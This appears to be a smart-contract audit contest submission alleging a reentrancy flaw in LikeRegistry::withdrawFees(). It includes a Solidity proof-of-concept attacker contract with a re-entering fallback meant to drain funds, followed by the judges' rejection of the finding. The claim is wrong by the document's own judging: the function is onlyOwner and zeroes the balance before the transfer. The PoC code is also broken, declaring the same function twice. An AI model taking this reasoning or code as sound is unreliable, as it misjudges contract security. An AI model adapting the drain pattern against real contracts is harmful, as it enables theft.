Submission Details
Severity:
Missing Reentrancy LikeRegistry::withdrawFees() fuction.
Summary
The external LikeRegistry::withdrawFees() fuction is missing Reentrancy checks.
Vulnerability Details
Since the LikeRegistry::withdrawFees() fuction is external and also makes call to other contracts, its important to have Reentrancy check.
(bool success,) = payable(owner()).call{value: totalFeesToWithdraw}("");
Impact
Malicious contracts can re-enter the function and drain funds.
POC:
// original contract with relevant snippets (withdrawFees)
contract LikeRegistry {
function withdrawFees() external;
function withdrawFees() external onlyOwner {
require(totalFees > 0, "No fees to withdraw");
uint256 totalFeesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = payable(owner()).call{value: totalFeesToWithdraw}("");
require(success, "Transfer failed");
}
}
contract MaliciousContract {
LikeRegistry public vulnerable;
address public owner;
constructor(address _vulnerable) {
vulnerable = LikeRegistry(_vulnerable);
owner = msg.sender;
}
// Deposit funds into the vulnerable contract
function deposit() external payable {
(bool success, ) = payable(address(vulnerable)).call{value: msg.value}("");
require(success, "Deposit failed");
}
// Start the attack by calling withdrawFees()
function attack() external {
vulnerable.withdrawFees();
}
// Reentrant fallback function
fallback() external payable {
if (address(vulnerable).balance > 0) {
vulnerable.withdrawFees(); // Reenter and drain funds
}
}
// Withdraw stolen funds
function withdraw() external {
require(msg.sender == owner, "Not owner");
payable(owner).transfer(address(this).balance);
}
}
Tools Used
Manual
Recommendations
Add Reentrancy checks
Updates
Appeal created
n0kto 5 months ago
Submission Judgement Published Reason: Non-acceptable severity
Assigned finding tags:
invalid_reentrancy_with_no_impact
matchRewards: Contract is created just before and is the one called. No impact. executeTransaction: CEI is followed. Emitting an event in disorder is informational in that context. withdraw: CEI is followed.
Rewards breakdown
nSLOC
197This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
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